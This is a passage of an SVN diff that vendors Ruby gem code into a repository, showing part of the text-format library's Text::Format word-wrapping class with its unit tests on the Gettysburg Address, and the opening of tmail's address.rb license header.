+          first, rest = self.hyphenate_to(word, size) if ((@split_rules & SPLIT_CONTINUATION) != 0) and first.nil?
+
+          first, rest = __do_split_word(word, size) if ((@split_rules & SPLIT_FIXED) != 0) and first.nil?
+
+          if (rline.size + (first ? first.size : 0)) < width
+            @split_words << SplitWord.new(word, first, rest)
+            rline = "#{rline} #{first}".strip
+            rnext = "#{rest} #{words.join(' ')}".strip
+          end
+          break
+        end
+      end
+      [rline, rnext]
+    end
+
+    def __do_break(line, next_line) #:nodoc:
+      no_brk = false
+      words = []
+      words = line.split(/\s+/) unless line.nil?
+      last_word = words[-1]
+
+      @nobreak_regex.each { |k, v| no_brk = ((last_word =~ /#{k}/) and (next_line =~ /#{v}/)) }
+
+      if no_brk && words.size > 1
+        i = words.size
+        while i > 0
+          no_brk = false
+          @nobreak_regex.each { |k, v| no_brk = ((words[i + 1] =~ /#{k}/) && (words[i] =~ /#{v}/)) }
+          i -= 1
+          break if not no_brk
+        end
+        if i > 0
+          l = brk_re(i).match(line)
+          line.sub!(brk_re(i), l[1])
+          next_line = "#{l[2]} #{next_line}"
+          line.sub!(/\s+$/, '')
+        end
+      end
+      [line, next_line]
+    end
+
+    def __create(arg = nil, &block) #:nodoc:
+        # Format::Text.new(text-to-wrap)
+      @text = arg unless arg.nil?
+        # Defaults
+      @columns          = 72
+      @tabstop          = 8
+      @first_indent     = 4
+      @body_indent      = 0
+      @format_style     = LEFT_ALIGN
+      @left_margin      = 0
+      @right_margin     = 0
+      @extra_space      = false
+      @text             = Array.new if @text.nil?
+      @tag_paragraph    = false
+      @tag_text         = Array.new
+      @tag_cur          = ""
+      @abbreviations    = Array.new
+      @nobreak          = false
+      @nobreak_regex    = Hash.new
+      @split_words      = Array.new
+      @hard_margins     = false
+      @split_rules      = SPLIT_FIXED
+      @hyphenator       = self
+      @hyphenator_arity = self.method(:hyphenate_to).arity
+
+      instance_eval(&block) unless block.nil?
+    end
+
+  public
+      # Formats text into a nice paragraph format. The text is separated
+      # into words and then reassembled a word at a time using the settings
+      # of this Format object. If a word is larger than the number of
+      # columns available for formatting, then that word will appear on the
+      # line by itself.
+      #
+      # If +to_wrap+ is +nil+, then the value of <tt>#text</tt> will be
+      # worked on.
+    def format(to_wrap = nil)
+      to_wrap = @text if to_wrap.nil?
+      if to_wrap.class == Array
+        __format(to_wrap[0])
+      else
+        __format(to_wrap)
+      end
+    end
+
+      # Considers each element of text (provided or internal) as a paragraph.
+      # If <tt>#first_indent</tt> is the same as <tt>#body_indent</tt>, then
+      # paragraphs will be separated by a single empty line in the result;
+      # otherwise, the paragraphs will follow immediately after each other.
+      # Uses <tt>#format</tt> to do the heavy lifting.
+    def paragraphs(to_wrap = nil)
+      to_wrap = @text if to_wrap.nil?
+      __paragraphs([to_wrap].flatten)
+    end
+
+      # Centers the text, preserving empty lines and tabs.
+    def center(to_center = nil)
+      to_center = @text if to_center.nil?
+      __center([to_center].flatten)
+    end
+
+      # Replaces all tab characters in the text with <tt>#tabstop</tt> spaces.
+    def expand(to_expand = nil)
+      to_expand = @text if to_expand.nil?
+      if to_expand.class == Array
+        to_expand.collect { |te| __expand(te) }
+      else
+        __expand(to_expand)
+      end
+    end
+
+      # Replaces all occurrences of <tt>#tabstop</tt> consecutive spaces
+      # with a tab character.
+    def unexpand(to_unexpand = nil)
+      to_unexpand = @text if to_unexpand.nil?
+      if to_unexpand.class == Array
+        to_unexpand.collect { |te| v << __unexpand(te) }
+      else
+        __unexpand(to_unexpand)
+      end
+    end
+
+      # This constructor takes advantage of a technique for Ruby object
+      # construction introduced by Andy Hunt and Dave Thomas (see reference),
+      # where optional values are set using commands in a block.
+      #
+      #   Text::Format.new {
+      #       columns         = 72
+      #       left_margin     = 0
+      #       right_margin    = 0
+      #       first_indent    = 4
+      #       body_indent     = 0
+      #       format_style    = Text::Format::LEFT_ALIGN
+      #       extra_space     = false
+      #       abbreviations   = {}
+      #       tag_paragraph   = false
+      #       tag_text        = []
+      #       nobreak         = false
+      #       nobreak_regex   = {}
+      #       tabstop         = 8
+      #       text            = nil
+      #   }
+      #
+      # As shown above, +arg+ is optional. If +arg+ is specified and is a
+      # +String+, then arg is used as the default value of <tt>#text</tt>.
+      # Alternately, an existing Text::Format object can be used or a Hash can
+      # be used. With all forms, a block can be specified.
+      #
+      # *Reference*:: "Object Construction and Blocks"
+      #               <http://www.pragmaticprogrammer.com/ruby/articles/insteval.html>
+      #
+    def initialize(arg = nil, &block)
+      case arg
+      when Text::Format
+        __create(arg.text) do
+          @columns        = arg.columns
+          @tabstop        = arg.tabstop
+          @first_indent   = arg.first_indent
+          @body_indent    = arg.body_indent
+          @format_style   = arg.format_style
+          @left_margin    = arg.left_margin
+          @right_margin   = arg.right_margin
+          @extra_space    = arg.extra_space
+          @tag_paragraph  = arg.tag_paragraph
+          @tag_text       = arg.tag_text
+          @abbreviations  = arg.abbreviations
+          @nobreak        = arg.nobreak
+          @nobreak_regex  = arg.nobreak_regex
+          @text           = arg.text
+          @hard_margins   = arg.hard_margins
+          @split_words    = arg.split_words
+          @split_rules    = arg.split_rules
+          @hyphenator     = arg.hyphenator
+        end
+        instance_eval(&block) unless block.nil?
+      when Hash
+        __create do
+          @columns       = arg[:columns]       || arg['columns']       || @columns
+          @tabstop       = arg[:tabstop]       || arg['tabstop']       || @tabstop
+          @first_indent  = arg[:first_indent]  || arg['first_indent']  || @first_indent
+          @body_indent   = arg[:body_indent]   || arg['body_indent']   || @body_indent
+          @format_style  = arg[:format_style]  || arg['format_style']  || @format_style
+          @left_margin   = arg[:left_margin]   || arg['left_margin']   || @left_margin
+          @right_margin  = arg[:right_margin]  || arg['right_margin']  || @right_margin
+          @extra_space   = arg[:extra_space]   || arg['extra_space']   || @extra_space
+          @text          = arg[:text]          || arg['text']          || @text
+          @tag_paragraph = arg[:tag_paragraph] || arg['tag_paragraph'] || @tag_paragraph
+          @tag_text      = arg[:tag_text]      || arg['tag_text']      || @tag_text
+          @abbreviations = arg[:abbreviations] || arg['abbreviations'] || @abbreviations
+          @nobreak       = arg[:nobreak]       || arg['nobreak']       || @nobreak
+          @nobreak_regex = arg[:nobreak_regex] || arg['nobreak_regex'] || @nobreak_regex
+          @hard_margins  = arg[:hard_margins]  || arg['hard_margins']  || @hard_margins
+          @split_rules   = arg[:split_rules] || arg['split_rules'] || @split_rules
+          @hyphenator    = arg[:hyphenator] || arg['hyphenator'] || @hyphenator
+        end
+        instance_eval(&block) unless block.nil?
+      when String
+        __create(arg, &block)
+      when NilClass
+        __create(&block)
+      else
+        raise TypeError
+      end
+    end
+  end
+end
+
+if __FILE__ == $0
+  require 'test/unit'
+
+  class TestText__Format < Test::Unit::TestCase #:nodoc:
+    attr_accessor :format_o
+
+    GETTYSBURG = <<-'EOS'
+    Four score and seven years ago our fathers brought forth on this
+    continent a new nation, conceived in liberty and dedicated to the
+    proposition that all men are created equal. Now we are engaged in
+    a great civil war, testing whether that nation or any nation so
+    conceived and so dedicated can long endure. We are met on a great
+    battlefield of that war. We have come to dedicate a portion of
+    that field as a final resting-place for those who here gave their
+    lives that that nation might live. It is altogether fitting and
+    proper that we should do this. But in a larger sense, we cannot
+    dedicate, we cannot consecrate, we cannot hallow this ground.
+    The brave men, living and dead who struggled here have consecrated
+    it far above our poor power to add or detract. The world will
+    little note nor long remember what we say here, but it can never
+    forget what they did here. It is for us the living rather to be
+    dedicated here to the unfinished work which they who fought here
+    have thus far so nobly advanced. It is rather for us to be here
+    dedicated to the great task remaining before us--that from these
+    honored dead we take increased devotion to that cause for which
+    they gave the last full measure of devotion--that we here highly
+    resolve that these dead shall not have died in vain, that this
+    nation under God shall have a new birth of freedom, and that
+    government of the people, by the people, for the people shall
+    not perish from the earth.
+
+            -- Pres. Abraham Lincoln, 19 November 1863
+    EOS
+
+    FIVE_COL = "Four \nscore\nand s\neven \nyears\nago o\nur fa\nthers\nbroug\nht fo\nrth o\nn thi\ns con\ntinen\nt a n\new na\ntion,\nconce\nived \nin li\nberty\nand d\nedica\nted t\no the\npropo\nsitio\nn tha\nt all\nmen a\nre cr\neated\nequal\n. Now\nwe ar\ne eng\naged \nin a \ngreat\ncivil\nwar, \ntesti\nng wh\nether\nthat \nnatio\nn or \nany n\nation\nso co\nnceiv\ned an\nd so \ndedic\nated \ncan l\nong e\nndure\n. We \nare m\net on\na gre\nat ba\nttlef\nield \nof th\nat wa\nr. We\nhave \ncome \nto de\ndicat\ne a p\nortio\nn of \nthat \nfield\nas a \nfinal\nresti\nng-pl\nace f\nor th\nose w\nho he\nre ga\nve th\neir l\nives \nthat \nthat \nnatio\nn mig\nht li\nve. I\nt is \naltog\nether\nfitti\nng an\nd pro\nper t\nhat w\ne sho\nuld d\no thi\ns. Bu\nt in \na lar\nger s\nense,\nwe ca\nnnot \ndedic\nate, \nwe ca\nnnot \nconse\ncrate\n, we \ncanno\nt hal\nlow t\nhis g\nround\n. The\nbrave\nmen, \nlivin\ng and\ndead \nwho s\ntrugg\nled h\nere h\nave c\nonsec\nrated\nit fa\nr abo\nve ou\nr poo\nr pow\ner to\nadd o\nr det\nract.\nThe w\norld \nwill \nlittl\ne not\ne nor\nlong \nremem\nber w\nhat w\ne say\nhere,\nbut i\nt can\nnever\nforge\nt wha\nt the\ny did\nhere.\nIt is\nfor u\ns the\nlivin\ng rat\nher t\no be \ndedic\nated \nhere \nto th\ne unf\ninish\ned wo\nrk wh\nich t\nhey w\nho fo\nught \nhere \nhave \nthus \nfar s\no nob\nly ad\nvance\nd. It\nis ra\nther \nfor u\ns to \nbe he\nre de\ndicat\ned to\nthe g\nreat \ntask \nremai\nning \nbefor\ne us-\n-that\nfrom \nthese\nhonor\ned de\nad we\ntake \nincre\nased \ndevot\nion t\no tha\nt cau\nse fo\nr whi\nch th\ney ga\nve th\ne las\nt ful\nl mea\nsure \nof de\nvotio\nn--th\nat we\nhere \nhighl\ny res\nolve \nthat \nthese\ndead \nshall\nnot h\nave d\nied i\nn vai\nn, th\nat th\nis na\ntion \nunder\nGod s\nhall \nhave \na new\nbirth\nof fr\needom\n, and\nthat \ngover\nnment\nof th\ne peo\nple, \nby th\ne peo\nple, \nfor t\nhe pe\nople \nshall\nnot p\nerish\nfrom \nthe e\narth.\n-- Pr\nes. A\nbraha\nm Lin\ncoln,\n19 No\nvembe\nr 186\n3    \n"
+
+    FIVE_CNT = "Four \nscore\nand  \nseven\nyears\nago  \nour  \nfath\\\ners  \nbrou\\\nght  \nforth\non t\\\nhis  \ncont\\\ninent\na new\nnati\\\non,  \nconc\\\neived\nin l\\\niber\\\nty a\\\nnd d\\\nedic\\\nated \nto t\\\nhe p\\\nropo\\\nsiti\\\non t\\\nhat  \nall  \nmen  \nare  \ncrea\\\nted  \nequa\\\nl. N\\\now we\nare  \nenga\\\nged  \nin a \ngreat\ncivil\nwar, \ntest\\\ning  \nwhet\\\nher  \nthat \nnati\\\non or\nany  \nnati\\\non so\nconc\\\neived\nand  \nso d\\\nedic\\\nated \ncan  \nlong \nendu\\\nre.  \nWe a\\\nre m\\\net on\na gr\\\neat  \nbatt\\\nlefi\\\neld  \nof t\\\nhat  \nwar. \nWe h\\\nave  \ncome \nto d\\\nedic\\\nate a\nport\\\nion  \nof t\\\nhat  \nfield\nas a \nfinal\nrest\\\ning-\\\nplace\nfor  \nthose\nwho  \nhere \ngave \ntheir\nlives\nthat \nthat \nnati\\\non m\\\night \nlive.\nIt is\nalto\\\ngeth\\\ner f\\\nitti\\\nng a\\\nnd p\\\nroper\nthat \nwe s\\\nhould\ndo t\\\nhis. \nBut  \nin a \nlarg\\\ner s\\\nense,\nwe c\\\nannot\ndedi\\\ncate,\nwe c\\\nannot\ncons\\\necra\\\nte,  \nwe c\\\nannot\nhall\\\now t\\\nhis  \ngrou\\\nnd.  \nThe  \nbrave\nmen, \nlivi\\\nng a\\\nnd d\\\nead  \nwho  \nstru\\\nggled\nhere \nhave \ncons\\\necra\\\nted  \nit f\\\nar a\\\nbove \nour  \npoor \npower\nto a\\\ndd or\ndetr\\\nact. \nThe  \nworld\nwill \nlitt\\\nle n\\\note  \nnor  \nlong \nreme\\\nmber \nwhat \nwe s\\\nay h\\\nere, \nbut  \nit c\\\nan n\\\never \nforg\\\net w\\\nhat  \nthey \ndid  \nhere.\nIt is\nfor  \nus t\\\nhe l\\\niving\nrath\\\ner to\nbe d\\\nedic\\\nated \nhere \nto t\\\nhe u\\\nnfin\\\nished\nwork \nwhich\nthey \nwho  \nfoug\\\nht h\\\nere  \nhave \nthus \nfar  \nso n\\\nobly \nadva\\\nnced.\nIt is\nrath\\\ner f\\\nor us\nto be\nhere \ndedi\\\ncated\nto t\\\nhe g\\\nreat \ntask \nrema\\\nining\nbefo\\\nre u\\\ns--t\\\nhat  \nfrom \nthese\nhono\\\nred  \ndead \nwe t\\\nake  \nincr\\\neased\ndevo\\\ntion \nto t\\\nhat  \ncause\nfor  \nwhich\nthey \ngave \nthe  \nlast \nfull \nmeas\\\nure  \nof d\\\nevot\\\nion-\\\n-that\nwe h\\\nere  \nhigh\\\nly r\\\nesol\\\nve t\\\nhat  \nthese\ndead \nshall\nnot  \nhave \ndied \nin v\\\nain, \nthat \nthis \nnati\\\non u\\\nnder \nGod  \nshall\nhave \na new\nbirth\nof f\\\nreed\\\nom,  \nand  \nthat \ngove\\\nrnme\\\nnt of\nthe  \npeop\\\nle,  \nby t\\\nhe p\\\neopl\\\ne, f\\\nor t\\\nhe p\\\neople\nshall\nnot  \nperi\\\nsh f\\\nrom  \nthe  \neart\\\nh. --\nPres.\nAbra\\\nham  \nLinc\\\noln, \n19 N\\\novem\\\nber  \n1863 \n"
+
+      # Tests both abbreviations and abbreviations=
+    def test_abbreviations
+      abbr = ["    Pres. Abraham Lincoln\n", "    Pres.  Abraham Lincoln\n"]
+      assert_nothing_raised { @format_o = Text::Format.new }
+      assert_equal([], @format_o.abbreviations)
+      assert_nothing_raised { @format_o.abbreviations = [ 'foo', 'bar' ] }
+      assert_equal([ 'foo', 'bar' ], @format_o.abbreviations)
+      assert_equal(abbr[0], @format_o.format(abbr[0]))
+      assert_nothing_raised { @format_o.extra_space = true }
+      assert_equal(abbr[1], @format_o.format(abbr[0]))
+      assert_nothing_raised { @format_o.abbreviations = [ "Pres" ] }
+      assert_equal([ "Pres" ], @format_o.abbreviations)
+      assert_equal(abbr[0], @format_o.format(abbr[0]))
+      assert_nothing_raised { @format_o.extra_space = false }
+      assert_equal(abbr[0], @format_o.format(abbr[0]))
+    end
+
+      # Tests both body_indent and body_indent=
+    def test_body_indent
+      assert_nothing_raised { @format_o = Text::Format.new }
+      assert_equal(0, @format_o.body_indent)
+      assert_nothing_raised { @format_o.body_indent = 7 }
+      assert_equal(7, @format_o.body_indent)
+      assert_nothing_raised { @format_o.body_indent = -3 }
+      assert_equal(3, @format_o.body_indent)
+      assert_nothing_raised { @format_o.body_indent = "9" }
+      assert_equal(9, @format_o.body_indent)
+      assert_nothing_raised { @format_o.body_indent = "-2" }
+      assert_equal(2, @format_o.body_indent)
+      assert_match(/^  [^ ]/, @format_o.format(GETTYSBURG).split("\n")[1])
+    end
+
+      # Tests both columns and columns=
+    def test_columns
+      assert_nothing_raised { @format_o = Text::Format.new }
+      assert_equal(72, @format_o.columns)
+      assert_nothing_raised { @format_o.columns = 7 }
+      assert_equal(7, @format_o.columns)
+      assert_nothing_raised { @format_o.columns = -3 }
+      assert_equal(3, @format_o.columns)
+      assert_nothing_raised { @format_o.columns = "9" }
+      assert_equal(9, @format_o.columns)
+      assert_nothing_raised { @format_o.columns = "-2" }
+      assert_equal(2, @format_o.columns)
+      assert_nothing_raised { @format_o.columns = 40 }
+      assert_equal(40, @format_o.columns)
+      assert_match(/this continent$/,
+                   @format_o.format(GETTYSBURG).split("\n")[1])
+    end
+
+      # Tests both extra_space and extra_space=
+    def test_extra_space
+      assert_nothing_raised { @format_o = Text::Format.new }
+      assert(!@format_o.extra_space)
+      assert_nothing_raised { @format_o.extra_space = true }
+      assert(@format_o.extra_space)
+        # The behaviour of extra_space is tested in test_abbreviations. There
+        # is no need to reproduce it here.
+    end
+
+      # Tests both first_indent and first_indent=
+    def test_first_indent
+      assert_nothing_raised { @format_o = Text::Format.new }
+      assert_equal(4, @format_o.first_indent)
+      assert_nothing_raised { @format_o.first_indent = 7 }
+      assert_equal(7, @format_o.first_indent)
+      assert_nothing_raised { @format_o.first_indent = -3 }
+      assert_equal(3, @format_o.first_indent)
+      assert_nothing_raised { @format_o.first_indent = "9" }
+      assert_equal(9, @format_o.first_indent)
+      assert_nothing_raised { @format_o.first_indent = "-2" }
+      assert_equal(2, @format_o.first_indent)
+      assert_match(/^  [^ ]/, @format_o.format(GETTYSBURG).split("\n")[0])
+    end
+
+    def test_format_style
+      assert_nothing_raised { @format_o = Text::Format.new }
+      assert_equal(Text::Format::LEFT_ALIGN, @format_o.format_style)
+      assert_match(/^November 1863$/,
+                   @format_o.format(GETTYSBURG).split("\n")[-1])
+      assert_nothing_raised {
+        @format_o.format_style = Text::Format::RIGHT_ALIGN
+      }
+      assert_equal(Text::Format::RIGHT_ALIGN, @format_o.format_style)
+      assert_match(/^ +November 1863$/,
+                   @format_o.format(GETTYSBURG).split("\n")[-1])
+      assert_nothing_raised {
+        @format_o.format_style = Text::Format::RIGHT_FILL
+      }
+      assert_equal(Text::Format::RIGHT_FILL, @format_o.format_style)
+      assert_match(/^November 1863 +$/,
+                   @format_o.format(GETTYSBURG).split("\n")[-1])
+      assert_nothing_raised { @format_o.format_style = Text::Format::JUSTIFY }
+      assert_equal(Text::Format::JUSTIFY, @format_o.format_style)
+      assert_match(/^of freedom, and that government of the people, by the  people,  for  the$/,
+                   @format_o.format(GETTYSBURG).split("\n")[-3])
+      assert_raises(ArgumentError) { @format_o.format_style = 33 }
+    end
+
+    def test_tag_paragraph
+      assert_nothing_raised { @format_o = Text::Format.new }
+      assert(!@format_o.tag_paragraph)
+      assert_nothing_raised { @format_o.tag_paragraph = true }
+      assert(@format_o.tag_paragraph)
+      assert_not_equal(@format_o.paragraphs([GETTYSBURG, GETTYSBURG]),
+                       Text::Format.new.paragraphs([GETTYSBURG, GETTYSBURG]))
+    end
+
+    def test_tag_text
+      assert_nothing_raised { @format_o = Text::Format.new }
+      assert_equal([], @format_o.tag_text)
+      assert_equal(@format_o.format(GETTYSBURG),
+                   Text::Format.new.format(GETTYSBURG))
+      assert_nothing_raised {
+        @format_o.tag_paragraph = true
+        @format_o.tag_text = ["Gettysburg Address", "---"]
+      }
+      assert_not_equal(@format_o.format(GETTYSBURG),
+                       Text::Format.new.format(GETTYSBURG))
+      assert_not_equal(@format_o.paragraphs([GETTYSBURG, GETTYSBURG]),
+                       Text::Format.new.paragraphs([GETTYSBURG, GETTYSBURG]))
+      assert_not_equal(@format_o.paragraphs([GETTYSBURG, GETTYSBURG,
+                                             GETTYSBURG]),
+                       Text::Format.new.paragraphs([GETTYSBURG, GETTYSBURG,
+                                                    GETTYSBURG]))
+    end
+
+    def test_justify?
+      assert_nothing_raised { @format_o = Text::Format.new }
+      assert(!@format_o.justify?)
+      assert_nothing_raised {
+        @format_o.format_style = Text::Format::RIGHT_ALIGN
+      }
+      assert(!@format_o.justify?)
+      assert_nothing_raised {
+        @format_o.format_style = Text::Format::RIGHT_FILL
+      }
+      assert(!@format_o.justify?)
+      assert_nothing_raised {
+        @format_o.format_style = Text::Format::JUSTIFY
+      }
+      assert(@format_o.justify?)
+        # The format testing is done in test_format_style
+    end
+
+    def test_left_align?
+      assert_nothing_raised { @format_o = Text::Format.new }
+      assert(@format_o.left_align?)
+      assert_nothing_raised {
+        @format_o.format_style = Text::Format::RIGHT_ALIGN
+      }
+      assert(!@format_o.left_align?)
+      assert_nothing_raised {
+        @format_o.format_style = Text::Format::RIGHT_FILL
+      }
+      assert(!@format_o.left_align?)
+      assert_nothing_raised { @format_o.format_style = Text::Format::JUSTIFY }
+      assert(!@format_o.left_align?)
+        # The format testing is done in test_format_style
+    end
+
+    def test_left_margin
+      assert_nothing_raised { @format_o = Text::Format.new }
+      assert_equal(0, @format_o.left_margin)
+      assert_nothing_raised { @format_o.left_margin = -3 }
+      assert_equal(3, @format_o.left_margin)
+      assert_nothing_raised { @format_o.left_margin = "9" }
+      assert_equal(9, @format_o.left_margin)
+      assert_nothing_raised { @format_o.left_margin = "-2" }
+      assert_equal(2, @format_o.left_margin)
+      assert_nothing_raised { @format_o.left_margin = 7 }
+      assert_equal(7, @format_o.left_margin)
+      assert_nothing_raised {
+        ft = @format_o.format(GETTYSBURG).split("\n")
+        assert_match(/^ {11}Four score/, ft[0])
+        assert_match(/^ {7}November/, ft[-1])
+      }
+    end
+
+    def test_hard_margins
+      assert_nothing_raised { @format_o = Text::Format.new }
+      assert(!@format_o.hard_margins)
+      assert_nothing_raised {
+        @format_o.hard_margins = true
+        @format_o.columns = 5
+        @format_o.first_indent = 0
+        @format_o.format_style = Text::Format::RIGHT_FILL
+      }
+      assert(@format_o.hard_margins)
+      assert_equal(FIVE_COL, @format_o.format(GETTYSBURG))
+      assert_nothing_raised {
+        @format_o.split_rules |= Text::Format::SPLIT_CONTINUATION
+        assert_equal(Text::Format::SPLIT_CONTINUATION_FIXED,
+                     @format_o.split_rules)
+      }
+      assert_equal(FIVE_CNT, @format_o.format(GETTYSBURG))
+    end
+
+      # Tests both nobreak and nobreak_regex, since one is only useful
+      # with the other.
+    def test_nobreak
+      assert_nothing_raised { @format_o = Text::Format.new }
+      assert(!@format_o.nobreak)
+      assert(@format_o.nobreak_regex.empty?)
+      assert_nothing_raised {
+        @format_o.nobreak = true
+        @format_o.nobreak_regex = { '^this$' => '^continent$' }
+        @format_o.columns = 77
+      }
+      assert(@format_o.nobreak)
+      assert_equal({ '^this$' => '^continent$' }, @format_o.nobreak_regex)
+      assert_match(/^this continent/,
+                   @format_o.format(GETTYSBURG).split("\n")[1])
+    end
+
+    def test_right_align?
+      assert_nothing_raised { @format_o = Text::Format.new }
+      assert(!@format_o.right_align?)
+      assert_nothing_raised {
+        @format_o.format_style = Text::Format::RIGHT_ALIGN
+      }
+      assert(@format_o.right_align?)
+      assert_nothing_raised {
+        @format_o.format_style = Text::Format::RIGHT_FILL
+      }
+      assert(!@format_o.right_align?)
+      assert_nothing_raised { @format_o.format_style = Text::Format::JUSTIFY }
+      assert(!@format_o.right_align?)
+        # The format testing is done in test_format_style
+    end
+
+    def test_right_fill?
+      assert_nothing_raised { @format_o = Text::Format.new }
+      assert(!@format_o.right_fill?)
+      assert_nothing_raised {
+        @format_o.format_style = Text::Format::RIGHT_ALIGN
+      }
+      assert(!@format_o.right_fill?)
+      assert_nothing_raised {
+        @format_o.format_style = Text::Format::RIGHT_FILL
+      }
+      assert(@format_o.right_fill?)
+      assert_nothing_raised {
+        @format_o.format_style = Text::Format::JUSTIFY
+      }
+      assert(!@format_o.right_fill?)
+        # The format testing is done in test_format_style
+    end
+
+    def test_right_margin
+      assert_nothing_raised { @format_o = Text::Format.new }
+      assert_equal(0, @format_o.right_margin)
+      assert_nothing_raised { @format_o.right_margin = -3 }
+      assert_equal(3, @format_o.right_margin)
+      assert_nothing_raised { @format_o.right_margin = "9" }
+      assert_equal(9, @format_o.right_margin)
+      assert_nothing_raised { @format_o.right_margin = "-2" }
+      assert_equal(2, @format_o.right_margin)
+      assert_nothing_raised { @format_o.right_margin = 7 }
+      assert_equal(7, @format_o.right_margin)
+      assert_nothing_raised {
+        ft = @format_o.format(GETTYSBURG).split("\n")
+        assert_match(/^ {4}Four score.*forth on$/, ft[0])
+        assert_match(/^November/, ft[-1])
+      }
+    end
+
+    def test_tabstop
+      assert_nothing_raised { @format_o = Text::Format.new }
+      assert_equal(8, @format_o.tabstop)
+      assert_nothing_raised { @format_o.tabstop = 7 }
+      assert_equal(7, @format_o.tabstop)
+      assert_nothing_raised { @format_o.tabstop = -3 }
+      assert_equal(3, @format_o.tabstop)
+      assert_nothing_raised { @format_o.tabstop = "9" }
+      assert_equal(9, @format_o.tabstop)
+      assert_nothing_raised { @format_o.tabstop = "-2" }
+      assert_equal(2, @format_o.tabstop)
+    end
+
+    def test_text
+      assert_nothing_raised { @format_o = Text::Format.new }
+      assert_equal([], @format_o.text)
+      assert_nothing_raised { @format_o.text = "Test Text" }
+      assert_equal("Test Text", @format_o.text)
+      assert_nothing_raised { @format_o.text = ["Line 1", "Line 2"] }
+      assert_equal(["Line 1", "Line 2"], @format_o.text)
+    end
+
+    def test_s_new
+          # new(NilClass) { block }
+      assert_nothing_raised do
+        @format_o = Text::Format.new {
+          self.text = "Test 1, 2, 3"
+        }
+      end
+      assert_equal("Test 1, 2, 3", @format_o.text)
+
+        # new(Hash Symbols)
+      assert_nothing_raised { @format_o = Text::Format.new(:columns => 72) }
+      assert_equal(72, @format_o.columns)
+
+        # new(Hash String)
+      assert_nothing_raised { @format_o = Text::Format.new('columns' => 72) }
+      assert_equal(72, @format_o.columns)
+
+        # new(Hash) { block }
+      assert_nothing_raised do
+        @format_o = Text::Format.new('columns' => 80) {
+          self.text = "Test 4, 5, 6"
+        }
+      end
+      assert_equal("Test 4, 5, 6", @format_o.text)
+      assert_equal(80, @format_o.columns)
+
+        # new(Text::Format)
+      assert_nothing_raised do
+        fo = Text::Format.new(@format_o)
+        assert(fo == @format_o)
+      end
+
+        # new(Text::Format) { block }
+      assert_nothing_raised do
+        fo = Text::Format.new(@format_o) { self.columns = 79 }
+        assert(fo != @format_o)
+      end
+
+          # new(String)
+      assert_nothing_raised { @format_o = Text::Format.new("Test A, B, C") }
+      assert_equal("Test A, B, C", @format_o.text)
+
+          # new(String) { block }
+      assert_nothing_raised do
+        @format_o = Text::Format.new("Test X, Y, Z") { self.columns = -5 }
+      end
+      assert_equal("Test X, Y, Z", @format_o.text)
+      assert_equal(5, @format_o.columns)
+    end
+
+    def test_center
+      assert_nothing_raised { @format_o = Text::Format.new }
+      assert_nothing_raised do
+        ct = @format_o.center(GETTYSBURG.split("\n")).split("\n")
+        assert_match(/^    Four score and seven years ago our fathers brought forth on this/, ct[0])
+        assert_match(/^                       not perish from the earth./, ct[-3])
+      end
+    end
+
+    def test_expand
+      assert_nothing_raised { @format_o = Text::Format.new }
+      assert_equal("          ", @format_o.expand("\t  "))
+      assert_nothing_raised { @format_o.tabstop = 4 }
+      assert_equal("      ", @format_o.expand("\t  "))
+    end
+
+    def test_unexpand
+      assert_nothing_raised { @format_o = Text::Format.new }
+      assert_equal("\t  ", @format_o.unexpand("          "))
+      assert_nothing_raised { @format_o.tabstop = 4 }
+      assert_equal("\t  ", @format_o.unexpand("      "))
+    end
+
+    def test_space_only
+      assert_equal("", Text::Format.new.format(" "))
+      assert_equal("", Text::Format.new.format("\n"))
+      assert_equal("", Text::Format.new.format("        "))
+      assert_equal("", Text::Format.new.format("    \n"))
+      assert_equal("", Text::Format.new.paragraphs("\n"))
+      assert_equal("", Text::Format.new.paragraphs(" "))
+      assert_equal("", Text::Format.new.paragraphs("        "))
+      assert_equal("", Text::Format.new.paragraphs("    \n"))
+      assert_equal("", Text::Format.new.paragraphs(["\n"]))
+      assert_equal("", Text::Format.new.paragraphs([" "]))
+      assert_equal("", Text::Format.new.paragraphs(["        "]))
+      assert_equal("", Text::Format.new.paragraphs(["    \n"]))
+    end
+
+    def test_splendiferous
+      h = nil
+      test = "This is a splendiferous test"
+      assert_nothing_raised { @format_o = Text::Format.new(:columns => 6, :left_margin => 0, :indent => 0, :first_indent => 0) }
+      assert_match(/^splendiferous$/, @format_o.format(test))
+      assert_nothing_raised { @format_o.hard_margins = true }
+      assert_match(/^lendif$/, @format_o.format(test))
+      assert_nothing_raised { h = Object.new }
+      assert_nothing_raised do
+        @format_o.split_rules = Text::Format::SPLIT_HYPHENATION
+        class << h #:nodoc:
+          def hyphenate_to(word, size)
+            return ["", word] if size < 2
+            [word[0 ... size], word[size .. -1]]
+          end
+        end
+        @format_o.hyphenator = h
+      end
+      assert_match(/^iferou$/, @format_o.format(test))
+      assert_nothing_raised { h = Object.new }
+      assert_nothing_raised do
+        class << h #:nodoc:
+          def hyphenate_to(word, size, formatter)
+            return ["", word] if word.size < formatter.columns
+            [word[0 ... size], word[size .. -1]]
+          end
+        end
+        @format_o.hyphenator = h
+      end
+      assert_match(/^ferous$/, @format_o.format(test))
+    end
+  end
+end


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/text-format-0.6.3/text/format.rb
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/address.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/address.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/address.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,426 @@
+=begin rdoc
+
+= Address handling class
+
+=end
+#--
+# Copyright (c) 1998-2003 Minero Aoki <aamine at loveruby.net>
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
